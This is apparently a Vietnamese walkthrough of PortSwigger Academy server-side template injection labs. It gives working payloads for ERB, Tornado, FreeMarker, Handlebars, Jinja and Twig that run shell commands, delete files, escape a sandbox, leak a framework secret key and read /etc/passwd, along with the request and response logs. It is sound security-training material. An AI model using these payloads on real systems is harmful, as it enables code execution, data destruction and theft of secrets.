Mặc dù đây có thể không phải là cách thú vị nhất để dành thời gian, nhưng điều quan trọng là không nên đánh giá thấp mức độ hữu ích của tài liệu.
Learn the Basic Template Syntax
Việc học cú pháp cơ bản rõ ràng là quan trọng, cùng với các hàm chính và cách xử lý biến. Ngay cả một điều đơn giản như học cách nhúng các khối mã gốc vào template đôi khi cũng có thể nhanh chóng dẫn đến một cuộc tấn công.
Lab: Basic Server-side Template Injection
Abstract
Lab này có lỗ hổng server-side template injection do việc xây dựng template ERB không an toàn.
Để giải quyết lab, hãy xem lại tài liệu ERB để tìm cách thực thi mã tùy ý, sau đó xóa tệp morale.txt khỏi thư mục chính của Carlos.
Có một server-side redirect khi xem chi tiết một số sản phẩm:
HTTP/2 302 FoundLocation: /?message=Unfortunately this product is out of stockX-Frame-Options: SAMEORIGINContent-Length: 0
Tham số message sẽ được render như sau:
<div>Unfortunately this product is out of stock</div>
Thử {{7*7}} và ứng dụng phản ánh tương tự.
Thử <%= 7*7 %> và ứng dụng render ra 49, điều này xác nhận lỗ hổng SSTI.
Lab này có lỗ hổng server-side template injection do cách nó sử dụng không an toàn một template Tornado. Để giải quyết lab, hãy xem lại tài liệu Tornado để khám phá cách thực thi mã tùy ý, sau đó xóa tệp morale.txt khỏi thư mục chính của Carlos.
Chúng ta có thể đăng nhập vào tài khoản của mình bằng thông tin đăng nhập sau: wiener:peter
Hint
Hãy xem kỹ hơn chức năng “preferred name”.
Đăng nhập và tìm thấy request được sử dụng để cập nhật tên ưu tiên mà người dùng muốn hiển thị trong bình luận:
POST /my-account/change-blog-post-author-display HTTP/2Host: 0ae500d303253c718296bfce00ac00e3.web-security-academy.netCookie: session=2igIytDp7cRshBoewU7L3D0Sx0exgZe5Content-Length: 78Content-Type: application/x-www-form-urlencodedblog-post-author-display=user.first_name&csrf=FzufnSMtJQXoqBRIZMaHtFMUvBS93pFS
Thêm {{7*7 sau user.first_name và bình luận vào bất kỳ bài đăng blog nào. Sau đó, gửi request đến bài đăng blog mà chúng ta đã bình luận và server phản hồi như sau:
HTTP/2 500 Internal Server ErrorContent-Type: text/html; charset=utf-8X-Frame-Options: SAMEORIGINContent-Length: 2849No handlers could be found for logger "tornado.application"Traceback (most recent call last): File "<string>", line 15, in <module> File "/usr/local/lib/python2.7/dist-packages/tornado/template.py", line 317, in __init__ "exec", dont_inherit=True) File "<string>.generated.py", line 4 _tt_tmp = user.first_name{{7*7 # <string>:1 ^SyntaxError: invalid syntax
Phản hồi này cho thấy user.nickname có thể được sử dụng làm input cho template engine Tornado.
Cập nhật payload thành {{7*7}}:
POST /my-account/change-blog-post-author-display HTTP/2Host: 0ae500d303253c718296bfce00ac00e3.web-security-academy.netCookie: session=2igIytDp7cRshBoewU7L3D0Sx0exgZe5Content-Length: 78Content-Type: application/x-www-form-urlencodedblog-post-author-display={{7*7}}&csrf=FzufnSMtJQXoqBRIZMaHtFMUvBS93pFS
Tải lại trang blog và biểu thức được đánh giá như sau:
<p><img src="/resources/images/avatarDefault.svg" class="avatar"> {{49}} | 26 September 2024</p>
Điều này xác nhận lỗ hổng SSTI.
Thử thực thi lệnh id với payload này:
{% import os %}{{os.popen('id').read()}}
Ứng dụng trả về lỗi 500:
HTTP/2 500 Internal Server ErrorContent-Type: text/html; charset=utf-8X-Frame-Options: SAMEORIGINContent-Length: 2861No handlers could be found for logger "tornado.application"Traceback (most recent call last): File "<string>", line 15, in <module> File "/usr/local/lib/python2.7/dist-packages/tornado/template.py", line 317, in __init__ "exec", dont_inherit=True) File "<string>.generated.py", line 5 _tt_tmp = % import os %}{{os.popen('id').read() # <string>:1 ^SyntaxError: invalid syntax
Có vẻ như chúng ta cần thoát khỏi ngữ cảnh.
Sử dụng payload này thay thế:
7*7}}{% import os %}{{os.popen('id').read()
Chúng ta cần thêm 7*7}} vào đầu payload nếu không ứng dụng sẽ ném lỗi này:
HTTP/2 500 Internal Server ErrorContent-Type: text/html; charset=utf-8X-Frame-Options: SAMEORIGINContent-Length: 3001Traceback (most recent call last): File "<string>", line 15, in <module> File "/usr/local/lib/python2.7/dist-packages/tornado/template.py", line 306, in __init__ self.file = _File(self, _parse(reader, self)) File "/usr/local/lib/python2.7/dist-packages/tornado/template.py", line 862, in _parse reader.raise_parse_error("Empty expression") File "/usr/local/lib/python2.7/dist-packages/tornado/template.py", line 788, in raise_parse_error raise ParseError(msg, self.name, self.line)tornado.template.ParseError: Empty expression at <string>:1
7*7}}{% import os %}{{os.popen('rm /home/carlos/morale.txt').read()
Read About the Security Implications
Ngoài việc cung cấp những kiến thức cơ bản về cách tạo và sử dụng template, tài liệu cũng có thể cung cấp một loại mục “Security” nào đó. Tên của mục này sẽ khác nhau, nhưng nó thường sẽ nêu rõ tất cả những điều nguy hiểm tiềm tàng mà mọi người nên tránh làm với template.
Ngay cả khi không có mục “Security” riêng, nếu một đối tượng hoặc hàm tích hợp cụ thể có thể gây ra rủi ro bảo mật, hầu như luôn có một cảnh báo nào đó trong tài liệu.
Ví dụ, trong ERB, tài liệu tiết lộ rằng chúng ta có thể liệt kê tất cả các thư mục và sau đó đọc các tệp tùy ý như sau:
Lab: Server-side Template Injection Using Documentation
Abstract
Lab này có lỗ hổng server-side template injection. Để giải quyết lab, hãy xác định template engine và sử dụng tài liệu để tìm ra cách thực thi mã tùy ý, sau đó xóa tệp morale.txt khỏi thư mục chính của Carlos.
Info
Chúng ta có thể đăng nhập vào tài khoản của mình bằng thông tin đăng nhập sau:
content-manager:C0nt3ntM4n4g3r
Đăng nhập bằng thông tin đăng nhập được cung cấp. Điều hướng đến sản phẩm đầu tiên, nơi có thể chỉnh sửa, xem trước và lưu template. Template bao gồm dòng sau:
<p>Hurry! Only ${product.stock} left of ${product.name} at ${product.price}.</p>
Thay đổi product.stock, có thể là một số, thành abc và gửi request để xem trước template. Gặp thông báo lỗi này:
Hurry! Only FreeMarker template error (DEBUG mode; use RETHROW in production!):The following has evaluated to null or missing:==> abc [in template "freemarker" at line 5, column 18]----Tip: If the failing expression is known to legally refer to something that's sometimes null or missing, either specify a default value like myOptionalVar!myDefault, or use <#if myOptionalVar??>when-present<#else>when-missing</#if>. (These only cover the last step of the expression; to cover the whole expression, use parenthesis: (myOptionalVar.foo)!myDefault, (myOptionalVar.foo)??--------FTL stack trace ("~" means nesting-related): - Failed at: ${abc} [in template "freemarker" at line 5, column 16]----Java stack trace (for programmers):----freemarker.core.InvalidReferenceException: [... Exception message was already printed; see it above ...] at freemarker.core.InvalidReferenceException.getInstance(InvalidReferenceException.java:134) at freemarker.core.EvalUtil.coerceModelToTextualCommon(EvalUtil.java:479) at freemarker.core.EvalUtil.coerceModelToStringOrMarkup(EvalUtil.java:401) at freemarker.core.EvalUtil.coerceModelToStringOrMarkup(EvalUtil.java:370) at freemarker.core.DollarVariable.calculateInterpolatedStringOrMarkup(DollarVariable.java:100) at freemarker.core.DollarVariable.accept(DollarVariable.java:63) at freemarker.core.Environment.visit(Environment.java:331) at freemarker.core.Environment.visit(Environment.java:337) at freemarker.core.Environment.process(Environment.java:310) at freemarker.template.Template.process(Template.java:383) at lab.actions.templateengines.FreeMarker.processInput(FreeMarker.java:58) at lab.actions.templateengines.FreeMarker.act(FreeMarker.java:42) at lab.actions.common.Action.act(Action.java:57) at lab.actions.common.Action.run(Action.java:39) at lab.actions.templateengines.FreeMarker.main(FreeMarker.java:23)
Thông báo cho thấy template engine đang được sử dụng là Freemarker.
Thử với payload ${7*191}:
<p>Hurry! Only ${7*191} left of ${product.name} at ${product.price}.</p>
Response cho thấy payload được máy chủ đánh giá:
<p>Hurry! Only 1,337 left of Beat the Vacation Traffic at $69.90.</p>
Khi chúng ta có thể xác định được template engine đang được sử dụng, chúng ta nên duyệt web để tìm bất kỳ lỗ hổng nào mà những người khác có thể đã phát hiện ra.
Lab: Server-side Template Injection in an Unknown Language with a Documented Exploit
Abstract
Lab này có lỗ hổng server-side template injection. Để giải quyết lab, hãy xác định template engine và tìm một exploit đã được ghi nhận trực tuyến mà chúng ta có thể sử dụng để thực thi mã tùy ý, sau đó xóa tệp morale.txt khỏi thư mục chính của Carlos.
Phát hiện ra request này có một input được phản ánh:
GET /?message=Unfortunately%20this%20product%20is%20out%20of%20stock1337 HTTP/2Host: 0a12005403fb2a6080506c86002a0007.web-security-academy.netCookie: session=Jf81kKJcwOR358Nr845mehUw4BmpIrK2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: https://0a12005403fb2a6080506c86002a0007.web-security-academy.net/
Response:
<div>Unfortunately this product is out of stock1337</div>
GET /?message=%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%69%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%7b%7b%74%68%69%73%7d%7d%7b%7b%2f%77%69%74%68%7d%7d%7b%7b%2f%65%61%63%68%7d%7d%7b%7b%2f%77%69%74%68%7d%7d%7b%7b%2f%77%69%74%68%7d%7d%7b%7b%2f%77%69%74%68%7d%7d%7b%7b%2f%77%69%74%68%7d%7d%7b%7b%2f%77%69%74%68%7d%7d HTTP/2
Nhiều template engine hiển thị một đối tượng “self” hoặc “environment” nào đó, hoạt động giống như một không gian tên chứa tất cả các đối tượng, phương thức và thuộc tính được template engine hỗ trợ.
Ví dụ, trong các ngôn ngữ template dựa trên Java, đôi khi chúng ta có thể liệt kê tất cả các biến trong môi trường bằng cách sử dụng injection sau:
${T(java.lang.System).getenv()}
Info
Ngoài ra, đối với người dùng Burp Suite Professional, Intruder cung cấp một danh sách từ tích hợp để brute-force tên biến.
Developer-supplied Objects
Các trang web bao gồm các đối tượng tích hợp từ template và các đối tượng tùy chỉnh do nhà phát triển thêm vào. Hãy chú ý đến các đối tượng tùy chỉnh này, vì chúng có thể chứa thông tin nhạy cảm hoặc các phương thức có thể bị khai thác.
Note
Chúng ta vẫn có thể tận dụng các lỗ hổng server-side template injection cho các cuộc tấn công có mức độ nghiêm trọng cao khác, chẳng hạn như path traversal file, để có quyền truy cập vào dữ liệu nhạy cảm.
Lab: Server-side Template Injection with Information Disclosure via User-supplied Objects
Abstract
Lab này có lỗ hổng server-side template injection do cách một đối tượng được truyền vào template. Lỗ hổng này có thể được khai thác để truy cập dữ liệu nhạy cảm.
Để giải quyết lab, hãy đánh cắp và gửi khóa bí mật của framework.
Info
Chúng ta có thể đăng nhập vào tài khoản của mình bằng thông tin đăng nhập sau:
content-manager:C0nt3ntM4n4g3r
Lab này có tính năng “Preview Template” cho phép người dùng đã đăng nhập có thể xem trước một template của một blog.
Template ban đầu có dòng sau:
<p>Hurry! Only {{product.stock}} left of {{product.name}} at {{product.price}}.</p>
Thay đổi product.stock thành 191*7 và nhấn nút “Preview”. Response có một thông báo lỗi:
<p class=is-warning>Traceback (most recent call last): File "<string>", line 11, in <module> File "/usr/local/lib/python2.7/dist-packages/django/template/base.py", line 191, in __init__ self.nodelist = self.compile_nodelist() File "/usr/local/lib/python2.7/dist-packages/django/template/base.py", line 230, in compile_nodelist return parser.parse() File "/usr/local/lib/python2.7/dist-packages/django/template/base.py", line 486, in parse raise self.error(token, e)django.template.exceptions.TemplateSyntaxError: Could not parse the remainder: '*191' from '7*191'</p>
Từ thông báo lỗi, chúng ta biết rằng ngôn ngữ lập trình là Python và framework là Django. Thay đổi dòng template thành:
<p>Hurry! Only {% debug %} left of {{product.name}} at {{product.price}}.</p>
Response tiết lộ rằng template engine đang được sử dụng là Jinja:
'django.template.backends.jinja2': <module 'django.template.backends.jinja2' from '/usr/local/lib/python2.7/dist-packages/django/template/backends/jinja2.pyc'>
<p>Hurry! Only {{settings.SECRET_KEY}} left of {{product.name}} at {{product.price}}.</p>
Response có khóa bí mật:
<p>Hurry! Only xvwz28n1it8zvsgoz6h2guvn5itx5o0h left of Six Pack Beer Belt at $67.15.</p>
Create a Custom Attack
Đôi khi chúng ta sẽ cần phải xây dựng một exploit tùy chỉnh. Ví dụ, chúng ta có thể thấy rằng template engine thực thi các template bên trong một sandbox, điều này có thể làm cho việc khai thác trở nên khó khăn, hoặc thậm chí là không thể.
Sau khi xác định bề mặt tấn công, nếu không có cách rõ ràng để khai thác lỗ hổng, chúng ta nên tiến hành các kỹ thuật kiểm tra truyền thống bằng cách xem xét từng hàm để tìm hành vi có thể khai thác.
Constructing a Custom Exploit Using an Object Chain
Bước đầu tiên là xác định các đối tượng và phương thức có thể truy cập.
Bằng cách khám phá tài liệu, chúng ta có thể tìm cách chuỗi các đối tượng và phương thức lại với nhau. Điều này đôi khi có thể mở khóa quyền truy cập vào dữ liệu nhạy cảm hoặc chức năng nguy hiểm có vẻ ngoài tầm với.
Ví dụ, trong template engine Velocity dựa trên Java, chúng ta có quyền truy cập vào một đối tượng ClassTool có tên là $class, chúng ta có thể chuỗi phương thức $class.inspect() và thuộc tính $class.type để lấy tham chiếu đến các đối tượng tùy ý:
Lab: Server-side Template Injection in a Sandboxed Environment
Abstract
Lab này sử dụng template engine Freemarker. Nó có lỗ hổng server-side template injection do sandbox được triển khai kém. Để giải quyết lab, hãy thoát khỏi sandbox để đọc tệp my_password.txt từ thư mục chính của Carlos. Sau đó, gửi nội dung của tệp.
Info
Chúng ta có thể đăng nhập vào tài khoản của mình bằng thông tin đăng nhập sau:
content-manager:C0nt3ntM4n4g3r
Thử payload này:
<p>Hurry! Only ${7*7} left of ${product.name} at ${product.price}.</p>
Response cho thấy biểu thức được đánh giá:
<p>Hurry! Only 49 left of Single Use Food Hider at $98.51.</p>
Thử đọc my_password.txt với payload "freemarker.template.utility.Execute"?new()("cat /home/carlos/morale.txt"):
<p>Hurry! Only FreeMarker template error (DEBUG mode; use RETHROW in production!): Instantiating freemarker.template.utility.Execute is not allowed in the template for security reasons.
Output của phương thức getLocation() là một thể hiện của lớp URL:
file:/opt/jars/freemarker.jar
Output của toURI().resolve("/home/carlos/my_password.txt").toURL():
file:/home/carlos/my_password.txt
Như chúng ta có thể thấy, bằng cách chuyển đổi URL thành URI và sử dụng phương thức resolve của URI, chúng ta có thể thay đổi URL từ /opt/jars/freemarker.jar thành /home/carlos/my_password.txt.
Bây giờ, chúng ta có thể gọi phương thức openStream() của lớp URL để mở một thể hiện InputStream để đọc nội dung của tệp. Từ Java 11, lớp InputStream bao gồm phương thức readAllBytes(), phương thức này đọc và trả về nội dung của tệp dưới dạng một mảng byte.
Viết một script để chuyển đổi thành ASCII (loại trừ các ký tự không nhìn thấy):
# Given hex array as a list of stringshex_array = [ "51", "105", "99", "49", "97", "56", "108", "121", "49", "54", "51", "118", "121", "97", "114", "119", "114", "52", "112", "108"]# Convert each value to its character representation and filter non-visible charactersfiltered_chars = [chr(int(x)) for x in hex_array if 32 <= int(x) <= 126]# Join the visible characters into a stringvisible_string = ''.join(filtered_chars)print(visible_string)
Kết quả:
3ic1a8ly163vyarwr4pl
Constructing a Custom Exploit Using Developer-supplied Objects
Một số template engine chạy trong một môi trường an toàn, bị hạn chế theo mặc định để giảm thiểu rủi ro. Mặc dù điều này hạn chế khả năng thực thi mã từ xa, các đối tượng do nhà phát triển tạo ra được hiển thị cho template có thể cung cấp một bề mặt tấn công yếu hơn.
Trong khi các thành phần tích hợp của template thường được ghi lại đầy đủ, các đối tượng dành riêng cho trang web thường thiếu tài liệu. Để khai thác chúng, chúng ta sẽ cần phân tích hành vi của trang web, xác định bề mặt tấn công và tạo một exploit tùy chỉnh.
Lab: Server-side Template Injection with a Custom Exploit
Abstract
Lab này có lỗ hổng server-side template injection. Để giải quyết lab, hãy tạo một exploit tùy chỉnh để xóa tệp /.ssh/id_rsa khỏi thư mục chính của Carlos.
Chúng ta có thể đăng nhập vào tài khoản của mình bằng thông tin đăng nhập sau: wiener:peter
Warning
Như với nhiều lỗ hổng có mức độ nghiêm trọng cao, việc thử nghiệm với server-side template injection có thể nguy hiểm. Nếu chúng ta không cẩn thận khi gọi các phương thức, có thể làm hỏng phiên bản lab của mình, điều này có thể làm cho nó không thể giải quyết được. Nếu điều này xảy ra, chúng ta sẽ cần đợi 20 phút cho đến khi phiên lab của mình được đặt lại.
Người dùng đã đăng nhập có thể thay đổi email, tên hiển thị ưu tiên và avatar. Chèn dữ liệu độc hại vào tất cả các tính năng đó.
Đăng nhập và thử bình luận vào bất kỳ bài đăng nào với payload ${7*7}. Sau đó, gửi request đến bài đăng và lỗi sau được hiển thị:
<p class=is-warning>PHP Fatal error: Uncaught Twig_Error_Syntax: A hash key must be a quoted string, a number, a name, or an expression enclosed in parentheses (unexpected token "punctuation" of value "{" in "index" at line 1. in /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/ExpressionParser.php:292Stack trace:#0 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/ExpressionParser.php(197): Twig_ExpressionParser->parseHashExpression()#1 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/ExpressionParser.php(92): Twig_ExpressionParser->parsePrimaryExpression()#2 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/ExpressionParser.php(45): Twig_ExpressionParser->getPrimary()#3 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/Parser.php(125): Twig_ExpressionParser->parseExpression()#4 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/Parser.php(81): Twig_Parser->subparse(NULL, false)#5 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/Environment.php(533): Twig_Parser->parse(Object(Twig_TokenS in /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/ExpressionParser.php on line 292</p>
Vì vậy, ngôn ngữ lập trình là PHP và template engine là Twig.
Ngoài ra, hóa ra điểm injection không phải là tham số comment. Thay vào đó, đó là tham số blog-post-author-display:
POST /my-account/change-blog-post-author-display HTTP/2Host: 0ade001604189b5481a1e970001400e1.web-security-academy.netCookie: session=rkfghR9l3URgHjrclLRUL9PJEtBtdJWvContent-Length: 71Origin: https://0ade001604189b5481a1e970001400e1.web-security-academy.netContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36blog-post-author-display=7*7&csrf=8yTnq8BfBtJ7qtGVHsFvmGx4sJVilKJt
Với giá trị ban đầu của blog-post-author-display là user.firstname.
Nó sẽ được render trong phần bình luận của bất kỳ bài đăng blog nào:
Tuy nhiên, ngoài _self và _context, tôi khó có thể thực thi bất cứ điều gì. Hóa ra nếu chúng ta tải lên một hình ảnh không hợp lệ làm avatar, ứng dụng sẽ ném thông báo lỗi sau:
<pre>PHP Fatal error: Uncaught Exception: Uploaded file mime type is not an image: application/octet-stream in /home/carlos/User.php:28Stack trace:#0 /home/carlos/avatar_upload.php(19): User->setAvatar('/tmp/nmap.log', 'application/oct...')#1 {main} thrown in /home/carlos/User.php on line 28</pre>
Thông báo lỗi trên tiết lộ rằng có một phương thức tên là setAvatar có hai tham số.
Info
Ngoài ra, nếu chúng ta tải lên với tên tệp không hợp lệ, chúng ta có thể thực hiện XSS:
<pre>PHP Fatal error: Uncaught Exception: Uploaded file name is invalid: bb45v<img src=a onerror=alert(1)>qsr5lifkbg9 in /home/carlos/avatar_upload.php:10Stack trace:#0 {main} thrown in /home/carlos/avatar_upload.php on line 10</pre>
Intercept request tải lên và thay đổi loại MIME thành image/png, chúng ta có thể tải lên thành công.
Sau đó, chúng ta có thể lấy nội dung của nó thông qua request sau:
GET /avatar?avatar=wiener HTTP/2Host: 0abb006504b00f6c82c9e792002e00db.web-security-academy.netCookie: session=sc9HX7OXYWSwSltSaMeNAqf9WIUo3SBwUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
HTTP/2 200 OKContent-Type: image/unknownX-Frame-Options: SAMEORIGINContent-Length: 3315# Nmap 7.95 scan initiated Sun Oct 20 20:35:23 2024 as: nmap -T3 -Pn -A -oN nmap.log 10.10.193.239Nmap scan report for 10.10.193.239Host is up (0.33s latency).Not shown: 998 closed tcp ports (conn-refused)PORT STATE SERVICE VERSION9999/tcp open abyss?| fingerprint-strings: | NULL: | _| _| | _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| | _|_| _| _| _| _| _| _| _| _| _| _| _|| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|| [________________________ WELCOME TO BRAINPAN _________________________]|_ ENTER THE PASSWORD10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)|_http-title: Site doesn't have a title (text/html)....
Thử đọc /etc/passwd thông qua hàm setAvatar() bằng cách chèn payload sau:
POST /my-account/change-blog-post-author-display HTTP/2Host: 0ade001604189b5481a1e970001400e1.web-security-academy.netCookie: session=rkfghR9l3URgHjrclLRUL9PJEtBtdJWvContent-Length: 71Origin: https://0ade001604189b5481a1e970001400e1.web-security-academy.netContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36blog-post-author-display=user.setAvatar('/etc/passwd','image/png')&csrf=c19nnnMCrSvbndw85UXTiZKVLO928oiW
Bình luận vào bất kỳ bài đăng nào và nội dung của /etc/passwd bị rò rỉ:
HTTP/2 200 OKContent-Type: image/unknownX-Frame-Options: SAMEORIGINContent-Length: 2316root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinpeter:x:12001:12001::/home/peter:/bin/bashcarlos:x:12002:12002::/home/carlos:/bin/bashuser:x:12000:12000::/home/user:/bin/bashelmer:x:12099:12099::/home/elmer:/bin/bashacademy:x:10000:10000::/academy:/bin/bashmessagebus:x:101:101::/nonexistent:/usr/sbin/nologindnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologinsystemd-timesync:x:103:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologinsystemd-network:x:104:105:systemd Network Management,,,:/run/systemd:/usr/sbin/nologinsystemd-resolve:x:105:106:systemd Resolver,,,:/run/systemd:/usr/sbin/nologinmysql:x:106:107:MySQL Server,,,:/nonexistent:/bin/falsepostgres:x:107:110:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bashusbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologinrtkit:x:109:115:RealtimeKit,,,:/proc:/usr/sbin/nologinmongodb:x:110:117::/var/lib/mongodb:/usr/sbin/nologinavahi:x:111:118:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologincups-pk-helper:x:112:119:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologingeoclue:x:113:120::/var/lib/geoclue:/usr/sbin/nologinsaned:x:114:122::/var/lib/saned:/usr/sbin/nologincolord:x:115:123:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologinpulse:x:116:124:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologingdm:x:117:126:Gnome Display Manager:/var/lib/gdm3:/bin/false
Hint
Đọc mã nguồn của /home/carlos/User.php.
Mã nguồn của /home/carlos/User.php:
<?phpclass User { public $username; public $name; public $first_name; public $nickname; public $user_dir; public function __construct($username, $name, $first_name, $nickname) { $this->username = $username; $this->name = $name; $this->first_name = $first_name; $this->nickname = $nickname; $this->user_dir = "users/" . $this->username; $this->avatarLink = $this->user_dir . "/avatar"; if (!file_exists($this->user_dir)) { if (!mkdir($this->user_dir, 0755, true)) { throw new Exception("Could not mkdir users/" . $this->username); } } } public function setAvatar($filename, $mimetype) { if (strpos($mimetype, "image/") !== 0) { throw new Exception("Uploaded file mime type is not an image: " . $mimetype); } if (is_link($this->avatarLink)) { $this->rm($this->avatarLink); } if (!symlink($filename, $this->avatarLink)) { throw new Exception("Failed to write symlink " . $filename . " -> " . $this->avatarLink); } } public function delete() { $file = $this->user_dir . "/disabled"; if (file_put_contents($file, "") === false) { throw new Exception("Could not write to " . $file); } } public function gdprDelete() { $this->rm(readlink($this->avatarLink)); $this->rm($this->avatarLink); $this->delete(); } private function rm($filename) { if (!unlink($filename)) { throw new Exception("Could not delete " . $filename); } }}?>
Ngoài setAvatar(), chúng ta đã xác định được ba hàm khác cùng với một số thuộc tính:
delete(): ghi đè nội dung của tệp disabled bằng một chuỗi rỗng, thực chất là xóa nội dung của nó.
gdprDelete(): xóa tệp liên kết đến tệp avatar cũng như tệp avatar bằng cách gọi rm() và sau đó gọi delete().
rm(): được sử dụng để xóa tệp và nó là một hàm riêng tư.
Rõ ràng, chúng ta sẽ sử dụng gdprDelete().
Để khai thác, chúng ta sẽ thực hiện các bước sau:
Sử dụng user.setAvatar('/home/carlos/.ssh/id_rsa', 'image/png') làm payload SSTI để liên kết ~/.ssh/id_rsa với tệp avatar (thông qua hàm symlink()).
Sử dụng user.gdprDelete() để xóa tệp liên kết đến tệp avatar (tệp ~/.ssh/id_rsa) cũng như tệp avatar.